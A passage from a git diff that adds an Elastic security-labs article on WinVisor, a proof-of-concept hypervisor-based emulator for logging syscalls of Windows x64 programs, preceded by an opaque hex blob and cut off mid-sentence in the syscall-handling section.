9c108295ca1ea45b8e84397e305f1d3dbb66e63d9512e2682ff6e6d6ef1163eee5fbfbf035263864f7d51c165afead94681f5d03689212a4b054e01fee514cc3fd26c7534cb1bbede776418bcf528626c60d9f50f31af4be103034b7e0fcdec74baa99b938b95e1bc2645cb3b927292ecb47b2fec63b9abe3b6635db2f19a0a47530c64e472fb5482b1e487710e44e89b644ecc6e9c43fdcc125573e25529a9e80ebc65c7e2610050da023d55cd9e755597c4219a814cc88ca92eee900f5d3fea4e931d31ea5aa605b9fa52a356742e532aedb21731000b6edc3757697f83b80478b30749a133596c467fd3baeaf07871b84c340cd7fd20a3ba4209fa72b97830194d9ca9e73c03a069172c9ca722d4d97c98998e60d1f1d1dcab4f087f7c3741e0c59d488f3bf9a3be84d26cb8f4c08588f2a416b0440127e7f18d4318917b0ca290f991e9ce2a9fc6bdb076abb4a9aa813516e5b249f9742c634191c90065e36b9d5218f34a5175f2e482da8b9df4b7fdc723603ad370adc2e3304685a08a27799068107ffdfb18aa616849b2dc52adcc750f70993d7787fc72aea171884373b3356de11b13db55be20e0835720cd92327ca5797a0c20e3c2b874b4fc08df7e98b55e3e164759912a20cdedbb7905c3b3fb7d82b3ec5645fd21337aa607c3834a556fe66d9b523c00ff2cd36915d46d47233f372942d3412faff4f9bddc7168fc0ec00e37e615df4f5e7776fdf48a189394e4f18771f16bdee36f6fb941487cfdf380c4bb51a604234e4296f2bb69bcdf0f014df3df834afbf227074f895c8c40260da72ac963cd8934949b1c394ee56a7e14de372c22d20e6b3bb6bbb4a6a4d41b74fd8d6e27b5915285f7ee0499925c6f49022c48b4b394ad7ce97688c492c5b76bbffd34fafa9d8f972368292f3585c6a5cd3eb166bad7ef1e268635419ccb48023c13213424159d8f340b157681241396f2c587c97bc363d6247d0ce9523ba380872d1051ca79322338095da8411c6d26c24e8895b5426e2eadd390f1ad1b792a06ca926f4b42af61683fa024d9501a04f123b74d19a0cbbe213728f93be96f7a0ec39c3f82f7c75e61f98791b8e5be829c6422708c5f9e15a2dab08fb109255f1eb4f444f06538600c1a407e9cbc87c8cddafabdfb62b2efda209216fa52a193e6160875d33e2373949a13213d98a139ee50d46f6d6ea397412d86fa006cbe376f09fc31aaa11248eb63a0ac081a7cd15e952cb5e0c499bf5c95b9478a70f8718f9db3bb02a52523bf1f05e9e2be3d04fc6a3440db1420811f2d92385e425d076ba8178163f5e8e0d290fcb8494d5675a59b13993d1f8270597fc13fc8fdf65b56ded80cc029b3e5dd9e16614b71e3e14ccf15984eadf0b8336bcf214feaa889601a8c8b6e5e9298a25dbf82c0f65651074467a3720699b07cf5e279bbf89a62575d3975ee24d7ec895e5c2e7755bd3232942ca61b70538812aaea0de3ec31896463e13a0d315c0b1255254c29a122ee4890ebf376265cfc4c39b6b052090f80198bf47a6197a9c9dc0c00916280c1971547b7d04f915149cb5857f53fc33380715a014cf7531bc34b726f2bf566673ad46c3931fc1631fd92799cd7fbaa83f298eeb0704d9e3c77184a5c1539469f1d9d2a17de446efff4392ae02849a26cb31486fee6a1dae703e75f977e2c2c5b8f18c28b0674534e3355db2d898cb477e0e3725d98d01ed046ce3085cb5d40e26a492d8506aff393ea7318f619696f05592487c6650ad2423261eb65a422842e8c33c72b9d88ff04e7822340f876cbe2605c3f70d5fdeaa3264f611f384aea3976f05b0b7d4e61c21f1654b499a475dc6c21cd805ec508fc804812d77b79aaa96f569cd946ff5aa1700d06390014806b3a6ab697934629b9bf1de677ea3ebe0bea80fa5697fb8954a1e130b47b7520f73eb080ab5fa9b41ca12829186dbbf31370624544948869bb8bf2fc0dae249e90b1b6cec55de4246658b735bae9cb66296c03e5f95683806be54ff13d548f4b49d5e0716828b27148a81e80cd5aa0edfe88147299410a7bbbbb41de656e8bafd8c3668c92ad6e13d77a58d014e85f4574a023346a3ca2b3ea21248cc096150eecc15f9a3715eeef6eb2b92be03bb8c3cb46fa62a2e0b4d5cfbc207f0f483dc9f3e94cd69552f87a10b4cb0933037f939799aaa288b0d8c90b163f294d2f0f91dfa1972aef6553ea0f5c934d902ffd1b3e5ea66449c21ecb01e4ac6a1226eb372c6e15b8f9da9f3a9f40fdceb6db35120fbc1842d6dfde51c2480949fc5d0e1a6c1b0b3a59b62cc930b4f5e4362ae11e4c74c7e18a3f1327d59fc44e2a3be093990ebc4bf02e2689a4d07776de3606c9d71777cea1aa32c1a63d1054768079d8e36e5eceefcd58f54e0694022c9a06ff419a1da931ee62d07a0219a793a7e9132dc2d2861683448ea479a89cff77f6daf11b7707f25e80cf8b96184f90f215f93746afabf44e5dca6164ea283287aff40d036356bf8f42e7286f5b198d0a06dd4a6fed7d27983a278129bd626f266272d3883b6d859e53aa2cdba099625496f7ff7c8f0c61fc78beb184717dfbea9f7ef322eec9f866d460b4c2e748c3cf87b12556bdd5312a55a5ed0bcbea38e8d3ba0484db29218a18086d7a80ea71e61483cb176ce85a300d5bdb3dc34f9cf7ce8107f378b7519d475e7d965e504c6ccd691c401c70a03cd4d4613a9cb91a614b1e0de74196785f618deee7c975bfc1f2885f5673caf9505756a282cdc39aab8cf7a75c07ae0068601c82891102f69dde3bd2a3a955c5122d74c3514891529c27ced21a7bb7a8f869dfa0640fc8ca103580a962fa21ee5aaab2e70b8d5c729d69ff1b225eb9f9c26f98e2fbdfbc31d9a91074816e9b66b742cafbe4c8a36c5e3292ebf836a5f5f4e11631166d7c826c53c20f9a79cf946a05fd81b845ae6c1aedd798fe7836f077121d04e2a37a8c4a447861bc44fc61aeefadcd291141de75b1fd7f8e25e73b8f9898e4d3ac7337aef4cfd2423f52345603745a23086a122e5482328c827ebfe089aaaa5f871213c9533d5317a13a59b290a30868f343b9797e8c51dd9fc0cf37e7e8330973a98fad4fa6bcb49668ef09dd7e109f1240f4ef83b8008054d16de2602397cf577e58b87d442efca173861a5fc8cf0e7219b667c35fb5ad3702dd1dd53834fa69759c3520ce143d0600499f82dfb7f49e678bf168da531269d2cc653f1aabdd40a5427baf5019663ce9c2f022badfe12d3dde47e9082c70d33dfbe913f5f079a31f74f6097b4f5d843c85ad27f082d2b45f209848b5d39a3317ebd1cbde3dbebe613abbc022f4ef376564f855ab2af752a706f33e6be93dd4a2aff6932e928f66b19606b1c8f1549cd7f7ff353a1ea871c75cdfa9d8c6b3bd2de192e6e97513bf911c0fe02cc3627b448ff898a41a514f0d669a49b52f094c07fd9d131988b49770fc5a8188e47ff09c82de026f8900049015008047afcd9b8b4a0c4c2b3fb9ee72d605bf0fcb03cb03de1bd01c1c17ecc5f70a0d127e72da28890e1ea7961a9e346408de5b71f7924b30a95da40b53b0b5046c45a78340297c152ab79a1fc601d51d96684492c1eabb56a849e30c06d26bf33fa25e4c01850fb85583bf63dacf3f8c8dd18ddb74cfa3a0de69f9976717fb05ebcf77fdc5aa6a77777530f5f8ee5055c7a6d3e3fee87d6c84afdb229a703fbc48c27fff393891cf94bc0888583b0d1b28f7b0ef22d240ace45eca1796fda162dfb4fc5710138fe27451e724524eba0e470e878be62e03b06fe53ce00b82886d34f3a3ff73a1d18e3fdcd3cee77c0efe5ee4ec1c0b9e445088988849266aa977b430de68062c8779d7b823eb9b37c119362d3d14004ad6d37528d8b95be40a296e5f90c34e89c83b02e0e4d1e1eeba42bb8f32fad0868ef2246e23b872412ee2e333baced17e1561bb30cfef5a2305bbb1b661469396fe17155865d86a108d55f0bf1a1f5414ed4d902d09e41292ee8e677b32fcb77caa1786b51f94012a75e9fc3c76e207964e3d461462f2d85a906ad9cf57e12b31f8bb812d5847bfd7b65f97f701608a5f310618046c7040c67fff89554d86810bc71eb7c2e9dc6b932ee64119f4d6cfbee7b014c8068d8066d750e71f01813e9a0a8195aab7641b89e8c3828e543a0c8d24770654bc11d0612ce20f7d60705cf16f66f4d61cbc7b3e307ce08a2b07f745df74c466d2a2f34a5f1a4cd038fc87319e576c6af00c3cfb452c8f611833fb01e21ab864ade7a1cbb41603274f621bb6b8fd441f4bc9af6e58796d9672420b6dc32968ae94e2c985878b8d49e6299d6bd0f03ffc3eacfba97f4c8876dd0d90bfd91362541e98fe205adcbff894cf86d27f20fcd84a176b6f62e631a4b2d6119f55f061ddd3993c87fdd1c46d911c07fe36ca38d307cd8dfbf687bb0d2df8b978c7f8091c73e8058a1d603b61abb44c367a57b0adb1670621cac5b59313c4bb737d9a7cebda05dcf25ea009dd16c016d3a25c124c359e7a4045b05c7e7bf643494f794daeed42a6bbdf4983b4b084be16445bdaf0dea9d153baa2878efdcc01789bfedeb3de89947bac076af4be9c3d181e47cee205f141505fe88405d990c3815ee7d3d48733c68fc38682b36e2babb1687707251a0c5893067098f5e6ff7563fe589e2f339ca89e14c5b59313c4bb737d9a7cebda05dcf25ea009dd16c016d3a25c124c359e7a4045b05c7e7bf643494f794daeed42a6bbdf4983b4b084be16445bdaf0dea9d153bacdb54e6395f455d05a9ddb1b2723a757799922b6684abec9f4b01588cb7aa0a476b58af55630d4a1dc7058af14f5dbc8bbe99286798c3bf491d6bf1f1aae713adeb8eb5154cf77f4d7b46949901aeb5fdaae5c0d675e3d9266585682411af6c6e16d63de13eaf95e4cf28d7c377e4c3d7ba97e8074e027adc96b10d482437080be5b929748eb5b9a691c054834800855a56f6238e4895514a2c5f5a099a3f57a310d747e7a9056a54b6efee186406750497f6bcc92c71170cc3164d1a7227c4b820b327a2c34f25a45efc8511396eb90cc63659d784fc9acef436fce44fff194291971b1f6ff843407656eb8650a91db686166058552cd98a80a2c1ab69bbde819ef3e2193cf33e1493b599f59451c0f51e22832d54e2ecaad3720abab84f04a42c1a319b785a4009f37a3400c429dc479bf42d4449e8d686e5229975caaa1eb9f68a0fc90b6795f26d1c6e7b658f995a70270c4c1848b1df750cdbfc1f22dbb31886f2b0ae1111560701c21bf17a05126e4eb475cd78f090f0ebabf3af2b15385dbe85d13ec6a817eca50402e22d8317b99a2ec4e7daea25813e9e79a4dbbf9e325f52707640a832689cd3fb23b09decb84bf20c341adedd95e0c58e1662874b687912322c051bdbe629ae53b5a28826ed4e8a3c332d0310d955ab56c9d5cb924161c102e61a244cc9ef523b71d470a413c7a1f2eb85d5aa67df4e799c6698d95834e7899fb69713fd4fe461c36fd285874eedea90943765b6116ba52db73cecb01ae020bbdbea4b5a1a62eccf9d14f96fde24c0262c79efaf7c296cd065785b940e7ef93f7c52279b8516a146843a11961cc4fd521614066b65200f80a3ae2b8418043383cb426e7ccaac517689f8d67aae5d49520d0cb966457d3b39f3794229d919e8204d678257b41aaf4289e6b4be22f66cfa98ba8dd4300dbe5b3c9d92ac00f659a6f3b5649a917126889c1168fc9720d39deb602209fae78eef169b50b8275504385524361403980b687e0e0a6c8019920f49be9b624fc08fe9ca16b8a4274a462975cdf2ed28bd8972f463aa431bb1464968e4050547e6df35d048ccb82e9d4a5a157429231ba6d3836aa4a22cbbe8f990db708f60bba7899b671cb4b8b29b48746161f03151a86ce04ff424269dc151e948c0dce6d4d4575bd56d4b584d55ce355387a935c8d8d7245f9305db151e2777f614ad2f20a02c2a9ee5fb02321328c5e398c7c6218692eee65409e8bb4cf512a374cbaf7e975f47a83da2a157be0deef6ee9154d31b00c4cc3a5abe82d920910d564ca425eefd6c31af40dec0cbcd9ef12262d0d0f9acfcec517d74f7c7b642d99b8258e1582f1bb170120efe074aa869b28660298181f7791e7880c34b20643d593e99ec6d41216be87397fade95100f9eee059e54dff9c6f2f9ccb6dd3e891f9431c1dbe70a6d2b12355c5426d51e5bab3ea9d75aee0c0fb94ca2bb7eeaf48e249fff4c43b80cc62f7c7265f29ea304576524f2e8984f59f3d0cfa5a1b4414ae49c353fff3d26a75ff977d16a1651efe909b8d60a91d67948a3165f7c4ff63db2300cd2068a0547ae00471f385cec833a4ea66f7399da2d9d4ba3a0ca057b0698b4f1f98b34235b174404e4753b781b3840a730aa18ebc44b2b5fed1932bbbf16a11435e4b99e1ace81db53c09aadd2b21a23ede791822778f70b0952e49546d4ba5c2461c50a96bcaf2d2bbb2b37adc8e87f8eb8f15fd0bcbde02973aced2259ba37c5ab5cc0e545328b8bc6436f971a384127ae0bb0e14bfcf7fa397c8c690d6ec2da5ce032c7d109df4b1180c9e8288232e4b96781309332b94ab58ff56aa9bef526c10692750032434c930a41cbf25a427399d8272f99aee35804af4fe2fcd289428cd6a19f61337c747abb9dc17d9fb02914ffcf057e20fe363ece2e69ae76e15e88e0e014153d1a59cd0ee4bddc26823e64274409535079aff1dcb1b2d0bece41e9683bde96bd9464d0a8260d48efb5a9ea5b7d3c4dcc4e44083a78ce486bc477d518d61e959fd651c3292b55f8e32ab73d57b178f8efbbc964f64dfa95bc5635f8a582ab4a04c48d4f85870edc9361afa2f8f0eba23e5a9f993c85d98f9d8b41340f97a4d73fe49de0e2d745d771e792004c988acd08cf3d06af3354e51397654728c32ff738b703faa31d7a01a1daaf8b6709c6348b0cf9bb2ff88f3f488019917021d661fbd214300d41c80a1193f9dd151f0b21704a599437ef51ae0d33f1dac53d4ca18d29f896d12e29d2b92c73d722c991f3953ae54fcda76b4762a3f8571c718819977660ebca2a8243cfddd66af7f6ed40e3f2ff6315b5462cbb7a644f28cf3ef51daf1638fe804363850d89fed347b36b3370012f8b0e74ef8e651843987d51ebef2ba51afd710044250fda3ccde7a195c0237355d12eb4d83ef9075f16339aed8d72b7b23171216775113d91bc1e040b824cdf1fdfdc4b8e8e3a5600ad104d2852bc3874914a81329a40c1869a26b99adf2bb6820d4e4bf3475162835773aab19e08f98a0cd10e250f7814614f904b64093453a5699fa6cd1ca978f1d769d492cd0243ff0f71be6ee6b73bec8e0c672dcdcc14b3e3a8c420ad5981765f9265b47c1a57ac6170b982941a72ef3f6737ad72ec48bd2ae290edc1fecb95e6d202887ba3b7d1f362ec4b22afd19303b45b00d08a2728f94d39b2450e72dc2691df91dfb6b94437cbeaa9528a6bd4c00ab7b0807523e603d447ff4d02410f7a157ee7fc854057c938ae312da8d38ef2ccca063a40804fd216ee0810fad525d00f1719e527917b7ed01fa95e2f20b6606888bb93c8b49ae5cc883a4c254feec9f90b06bc0e30baccb3ced45e2ace89c5bbceef1de5cd405d097ca8a1d8efe99114c1ba621c5aaee74298cadccaa71bdabadc5207b359bf9c3f949c64d5d873a7a8cb06a7843b19d4d32a3d9ca8bec547fafd80df2067e5a0760fc6f4bd03db9813f1cf341e7884e9244ed62654f40e39bfbfa2ecc17806376ad1bf9166289e10ad016159f86f82808256fe1b4d8009c96df1c3b446083ac5bead18cf9d2ef5d045c47f7fb56a81ac5e5456694df0473d841126f8ef3925afa72444341e15930915e45248d7ebed11156957fd8d5dd856fd07a30323608dd53251fbee185c5f3fca68723eb4aa6e8d3d39e565f93bf558a7d1e34aa0593e8fed2ddd6873e0d0fe1377e361bb605fe6b9796520d09157973acdc4f68a8cbea2b4bf9cfe5275e56fda2dc33c59588234a4807d2a948c5e9e197640c62ecb25b7605d15c5e7a303b1ebe1378d9e2e29d0c79b4579d6e8e1ab7316a6b86136066172388b47be4c65d503e5f9d9d85b137ed309244cd79479b947c0e4d551d8e085172fcf54ceddc9979c0e02bb007b8edb7aad9680814e94cfa260c5c2ce682b41550289e7041dd59d6f2ff05734b18d89817efad8b778c478690ae71d3ea7174d2cbe63d540e4181c472d7a0057d5af144d1c5a3f9e289f3a079ff251d70139f8d7654f48dd2a9aa97744b6b8a7bc2758feba9a8434e76efdde691531e5425469627e81ff10323683ca7723355c89ffc9c524938868e1d303482997cf91239964b6f4f9e3c8ae2a40efabd4e0218de429b7f0f92a91a119ed37315a1ef3111e1e46619f089ff825ff757be1ec71bfa8ca759cf1ad90913881bbc5051ac65966e08aa22072c5668b6bd38f0570f0d016035866cd7e56f7b4a1e7a9e5490165edd845b443cd1883bdd839bc263d90ccb3b479ca30be9f050b5e7fc7926a3453468a27458ed81f98a72ab95d96ad8c62c5fdb6a2bcab05c2d9abc4c94a6cc4ec21b0ac8a25272b4e43c3abf0fe1e3a16cd9789ae68346b1d2f9980c7a11dbeec0a408579576050ed64aa5471d8cf6cd4aa478264bc6d809ff6ebf57f08858e437342c109ede1b9136f63d3f44ea910508024b27d78ed7da6e5c3acc4703118a9b1400a9f2015adeb04ca7d8fffd66207723da4a2484e59a8d883ad4746582d04185cd57d29fade9f956a3ef87a0ef3706160d2daca8f19e0a06ff1e7330af5efbf555c90f64b129061d91bf51d5e925d997210410558ea49e86333eb24e27e2f97ebaca4b359fe224d4166ba56960045d042e674682aade46d8d97031c215c0c1576b49c67b249adb206e97fbf0 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.md new file mode 100644 index 0000000000000..0f9420e7757a7 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/winvisor_hypervisor_based_emulator.md @@ -0,0 +1,273 @@ +--- +title: "WinVisor – A hypervisor-based emulator for Windows x64 user-mode executables" +slug: "winvisor-hypervisor-based-emulator" +date: "2025-01-24" +subtitle: "A proof-of-concept hypervisor-based emulator for Windows x64 binaries" +description: "WinVisor is a hypervisor-based emulator for Windows x64 user-mode executables that leverages the Windows Hypervisor Platform API to provide a virtualized environment for logging syscalls and enabling memory introspection." +author: + - slug: elastic-security-labs +image: "winvisor.jpg" +category: + - slug: perspectives +tags: + - onweek + - winvisor +--- + +## Background + +In Windows 10 (version RS4), Microsoft introduced the [Windows Hypervisor Platform](https://learn.microsoft.com/en-us/virtualization/api/hypervisor-platform/hypervisor-platform) (WHP) API. This API exposes Microsoft's built-in hypervisor functionality to user-mode Windows applications. In 2024, the author used this API to create a personal project: a 16-bit MS-DOS emulator called [DOSVisor](https://github.com/x86matthew/DOSVisor). As mentioned in the release notes, there have always been plans to take this concept further and use it to emulate Windows applications. Elastic provides a research week (ON Week) twice per year for staff to work on personal projects, providing a great opportunity to begin working on this project. This project will be (unimaginatively) named WinVisor, inspired by its DOSVisor predecessor. + +Hypervisors provide hardware-level virtualization, eliminating the need to emulate the CPU via software. This ensures that instructions are executed exactly as they would be on a physical CPU, whereas software-based emulators often behave inconsistently in edge cases. + +This project aims to build a virtual environment for executing Windows x64 binaries, allowing syscalls to be logged (or hooked) and enabling memory introspection. The goal of this project is not to build a comprehensive and secure sandbox - by default, all syscalls will simply be logged and forwarded directly to the host. In its initial form, it will be trivial for code running within the virtualized guest to "escape" to the host. Safely securing a sandbox is a difficult task, and is beyond the scope of this project. The limitations will be described in further detail at the end of the article. + +Despite having been available for 6 years (at the time of writing), it seems that the WHP API hasn’t been used in many public projects other than complex codebases such as [QEMU](https://github.com/qemu/qemu) and [VirtualBox](https://www.virtualbox.org/). One other notable project is Alex Ionescu's [Simpleator](https://github.com/ionescu007/Simpleator) - a lightweight Windows user-mode emulator that also utilizes the WHP API. This project has many of the same goals as WinVisor, although the approach for implementation is quite different. The WinVisor project aims to automate as much as possible and support simple executables (e.g. `ping.exe`) universally out of the box. + +This article will cover the general design of the project, some of the issues that were encountered, and how they were worked through. Some features will be limited due to development time constraints, but the final product will at least be a usable proof-of-concept. Links to the source code and binaries hosted on GitHub will be provided at the end of the article. + +### Hypervisor basics + +Hypervisors are powered by VT-x (Intel) and AMD-V (AMD) extensions. These hardware-assisted frameworks enable virtualization by allowing one or more virtual machines to run on a single physical CPU. These extensions use different instruction sets and, therefore, are not inherently compatible with each other; separate code must be written for each. + +Internally, Hyper-V uses `hvix64.exe` for Intel support and `hvax64.exe` for AMD support. Microsoft's WHP API abstracts these hardware differences, allowing applications to create and manage virtual partitions regardless of the underlying CPU type. For simplicity, the following explanation will focus solely on VT-x. + +VT-x adds an additional set of instructions known as VMX (Virtual Machine Extensions), containing instructions such as `VMLAUNCH`, which begins the execution of a VM for the first time, and `VMRESUME`, which re-enters the VM after a VM exit. A VM exit occurs when certain conditions are triggered by the guest, such as specific instructions, I/O port access, page faults, and other exceptions. + +Central to VMX is the Virtual Machine Control Structure (VMCS), a per-VM data structure that stores the state of the guest and host contexts as well as information about the execution environment. The VMCS contains fields that define processor state, control configurations, and optional conditions that trigger transitions from the guest back to the host. VMCS fields can be read or written to using the `VMREAD` and `VMWRITE` instructions. + +During a VM exit, the processor saves the guest state in the VMCS and transitions back to the host state for hypervisor intervention. + +## WinVisor overview + +This project takes advantage of the high-level nature of the WHP API. The API exposes hypervisor functionality to user-mode and allows applications to map virtual memory from the host process directly into the guest's physical memory. + +The virtual CPU operates almost exclusively in CPL3 (user-mode), except for a small bootloader that runs at CPL0 (kernel-mode) to initialize the CPU state before execution. This will be described in further detail in the Virtual CPU section. + +Building up the memory space for an emulated guest environment involves mapping the target executable and all DLL dependencies, followed by populating other internal data structures such as the Process Environment Block (PEB), Thread Environment Block (TEB), `KUSER_SHARED_DATA`, etc. + +Mapping the EXE and DLL dependencies is straightforward, but accurately maintaining internal structures, such as the PEB, is a more complex task. These structures are large, mostly undocumented, and their contents can vary between Windows versions. It would be relatively simple to populate a minimalist set of fields to execute a simple "Hello World" application, but an improved approach should be taken to provide good compatibility. + +Instead of manually building up a virtual environment, WinVisor launches a suspended instance of the target process and clones the entire address space into the guest. The Import Address Table (IAT) and Thread Local Storage (TLS) data directories are temporarily removed from the PE headers in memory to stop DLL dependencies from loading and to prevent TLS callbacks from executing before reaching the entry point. The process is then resumed, allowing the usual process initialization to continue (`LdrpInitializeProcess`) until it reaches the entry point of the target executable, at which point the hypervisor launches and takes control. This essentially means that Windows has done all of the hard work for us, and we now have a pre-populated user-mode address space for the target executable that is ready for execution. + +A new thread is then created in a suspended state, with the start address pointing to the address of a custom loader function. This function populates the IAT, executes TLS callbacks, and finally executes the original entry point of the target application. This essentially simulates what the main thread would do if the process were being executed natively. The context of this thread is then "cloned" into the virtual CPU, and execution begins under the control of the hypervisor. + +Memory is paged into the guest as necessary, and syscalls are intercepted, logged, and forwarded to the host OS until the virtualized target process exits. + +As the WHP API only allows memory from the current process to be mapped into the guest, the main hypervisor logic is encapsulated within a DLL that gets injected into the target process. + +## Virtual CPU + +The WHP API provides a "friendly" wrapper around the VMX functionality described earlier, meaning that the usual steps, such as manually populating the VMCS before executing `VMLAUNCH`, are no longer necessary. It also exposes the functionality to user-mode, meaning a custom driver is not required. However, the virtual CPU must still be initialized appropriately via WHP prior to executing the target code. The important aspects will be described below. + +### Control registers + +Only the `CR0`, `CR3`, and `CR4` control registers are relevant for this project. `CR0` and `CR4` are used to enable CPU configuration options such as protected mode, paging, and PAE. `CR3` contains the physical address of the `PML4` paging table, which will be described in further detail in the Memory Paging section. + +### Model-specific registers + +Model-Specific Registers (MSRs) must also be initialized to ensure the correct operation of the virtual CPU. `MSR_EFER` contains flags for extended features, such as enabling long mode (64-bit) and `SYSCALL` instructions. `MSR_LSTAR` contains the address of the syscall handler, and `MSR_STAR` contains the segment selectors for transitioning to CPL0 (and back to CPL3) during syscalls. `MSR_KERNEL_GS_BASE` contains the shadow base address of the `GS` selector. + +### Global descriptor table + +The Global Descriptor Table (GDT) defines the segment descriptors, which essentially describe memory regions and their properties for use in protected mode. + +In long mode, the GDT has limited use and is mostly a relic of the past - x64 always operates in a flat memory mode, meaning all selectors are based at `0`. The only exceptions to this are the `FS` and `GS` registers, which are used for thread-specific purposes. Even in those cases, their base addresses are not defined by the GDT. Instead, MSRs (such as `MSR_KERNEL_GS_BASE` described above) are used to store the base address. + +Despite this obsolescence, the GDT is still an important part of the x64 model. For example, the current privilege level is defined by the `CS` (Code Segment) selector. + +### Task state segment + +In long mode, the Task State Segment (TSS) is simply used to load the stack pointer when transitioning from a lower privilege level to a higher one. As this emulator operates almost exclusively in CPL3, except for the initial bootloader and interrupt handlers, only a single page is allocated for the CPL0 stack. The TSS is stored as a special system entry within the GDT and occupies two slots. + +### Interrupt descriptor table + +The Interrupt Descriptor Table (IDT) contains information about each type of interrupt, such as the handler addresses. This will be described in further detail in the Interrupt Handling section. + +### Bootloader + +Most of the CPU fields mentioned above can be initialized using WHP wrapper functions, but support for certain fields (e.g. `XCR0`) only arrived in later versions of the WHP API (Windows 10 RS5). For completeness, the project includes a small “bootloader”, which runs at CPL0 upon startup and manually initializes the final parts of the CPU prior to executing the target code. Unlike a physical CPU, which would start in 16-bit real mode, the virtual CPU has already been initialized to run in long-mode (64-bit), making the boot process slightly more straightforward. + +The following steps are performed by the bootloader: + +1. Load the GDT using the `LGDT` instruction. The source operand for this instruction specifies a 10-byte memory block which contains the base address and limit (size) of the table that was populated earlier. + +2. Load the IDT using the `LIDT` instruction. The source operand for this instruction uses the same format as LGDT described above. + +3. Set the TSS selector index into the task register using the `LTR` instruction. As mentioned above, the TSS descriptor exists as a special entry within the GDT (at `0x40` in this case). + +4. The XCR0 register can be set using the `XSETBV` instruction. This is an additional control register which is used for optional features such as AVX. The native process executes XGETBV to get the host value, which is then copied into the guest via `XSETBV` in the bootloader. + +This is an important step because DLL dependencies that have already been loaded may have set global flags during their initialization process. For example, `ucrtbase.dll` checks if the CPU supports AVX via the `CPUID` instruction on startup and, if so, sets a global flag to allow the CRT to use AVX instructions for optimization reasons. If the virtual CPU attempts to execute these AVX instructions without explicitly enabling them in `XCR0` first, an undefined instruction exception will be raised. + +5. Manually update `DS`, `ES`, and `GS` data segment selectors to their CPL3 equivalents (`0x2B`). Execute the `SWAPGS` instruction to load the TEB base address from `MSR_KERNEL_GS_BASE`. + +6. Finally, use the `SYSRET` instruction to transition into CPL3. Prior to the `SYSRET` instruction, `RCX` is set to a placeholder address (CPL3 entry point), and `R11` is set to the initial CPL3 RFLAGS value (`0x202`). The `SYSRET` instruction automatically switches the `CS` and `SS` segment selectors to their CPL3 equivalents from `MSR_STAR`. + +When the `SYSRET` instruction executes, a page fault will be raised due to the invalid placeholder address in `RIP`. The emulator will catch this page fault and recognize it as a “special” address. The initial CPL3 register values will then be copied into the virtual CPU, `RIP` is updated to point to a custom user-mode loader function, and execution resumes. This function loads all DLL dependencies for the target executable, populates the IAT table, executes TLS callbacks, and then executes the original entry point. The import table and TLS callbacks are handled at this stage, rather than earlier on, to ensure their code is executed within the virtualized environment. + +## Memory paging + +All memory management for the guest must be handled manually. This means a paging table must be populated and maintained, allowing the virtual CPU to translate a virtual address to a physical address. + +### Virtual address translation + +For those who are not familiar with paging in x64, the paging table has four levels: `PML4`, `PDPT`, `PD`, and `PT`. For any given virtual address, the CPU walks through each layer of the table, eventually reaching the target physical address. Modern CPUs also support 5-level paging (in case the 256TB of addressable memory offered by 4-level paging isn't enough!), but this is irrelevant for the purposes of this project. + +The following image illustrates the format of a sample virtual address: + +![Breakdown of an example virtual address](/assets/images/winvisor-hypervisor-based-emulator/5WT-image.png "Breakdown of an example virtual address") + +Using the example above, the CPU would calculate the physical page corresponding to the virtual address `0x7FFB7D030D10` via the following table entries: `PML4[0xFF]` -> `PDPT[0x1ED]` -> `PD[0x1E8]` -> `PT[0x30]`. Finally, the offset (`0xD10`) will be added to this physical page to calculate the exact address. + +Bits `48` - `63` within a virtual address are unused in 4-level paging and are essentially sign-extended to match bit `47`. + +The `CR3` control register contains the physical address of the base `PML4` table. When paging is enabled (mandatory in long-mode), all other addresses within the context of the CPU refer to virtual addresses. + +### Page faults + +When the guest attempts to access memory, the virtual CPU will raise a page fault exception if the requested page isn't already present in the paging table. This will trigger a VM Exit event and pass control back to the host. When this occurs, the `CR2` control register contains the requested virtual address, although the WHP API already provides this value within the VM Exit context data. The host can then map the requested page into memory (if possible) and resume execution or throw an error if the target address is invalid. + +### Host/guest memory mirroring + +As mentioned earlier, the emulator creates a child process, and all virtual memory within that process will be mapped directly into the guest using the same address layout. The Hypervisor Platform API allows us to map virtual memory from the host user-mode process directly into the physical memory of the guest. The paging table will then map virtual addresses to the corresponding physical pages. + +Instead of mapping the entire address space of the process upfront, a fixed number of physical pages are allocated for the guest. The emulator contains a very basic memory manager, and pages are mapped "on demand." When a page fault occurs, the requested page will be paged in, and execution resumes. If all page "slots" are full, the oldest entry is swapped out to make room for the new one. + +In addition to using a fixed number of currently mapped pages, the emulator also uses a fixed-size page table. The size of the page table is determined by calculating the maximum possible number of tables for the amount of mapped page entries. This model results in a simple and consistent physical memory layout but comes at the cost of efficiency. In fact, the paging tables take up more space than the actual page entries. + +There is a single PML4 table, and in the worst-case scenario, each mapped page entry will reference unique PDPT/PD/PT tables. As each table is `4096` bytes, the total page table size can be calculated using the following formula: + +``` +PAGE_TABLE_SIZE = 4096 + (MAXIMUM_MAPPED_PAGES * 4096 * 3) +``` + +By default, the emulator allows for `256` pages to be mapped at any one time (`1024KB` in total). Using the formula above, we can calculate that this will require `3076KB` for the paging table, as illustrated below: + +![Diagram illustrating the physical memory map within the virtualized guest](/assets/images/winvisor-hypervisor-based-emulator/8gv-image.png "Diagram illustrating the physical memory map within the virtualized guest") + +In practice, many of the page table entries will be shared, and a lot of the space allocated for the paging tables will remain unused. However, as this emulator functions well even with a small number of pages, this level of overhead is not a major concern. + +The CPU maintains a hardware-level cache for the paging table known as the Translation Lookaside Buffer (TLB). When translating a virtual address to a physical address, the CPU will first check the TLB. If a matching entry is not found in the cache (known as a “TLB miss”), the paging tables will be read instead. For this reason, it is important to flush the TLB cache whenever the paging tables have been rebuilt to prevent it from falling out of sync. The simplest way to flush the entire TLB is to reset the `CR3` register value. + +## Syscall handling + +As the target program executes, any system calls that occur within the guest must be handled by the host. This emulator handles both `SYSCALL` instructions and legacy (interrupt-based) syscalls. `SYSENTER` is not used in long-mode and, therefore, is not supported by WinVisor. + +### Fast syscall (SYSCALL) + +When a `SYSCALL` instruction executes, the CPU transitions to CPL0 and loads `RIP` from `MSR_LSTAR`. In the Windows kernel, this would point to `KiSystemCall64`. `SYSCALL` instructions won't inherently trigger a VM Exit event, but the emulator sets `MSR_LSTAR` to a reserved placeholder address — 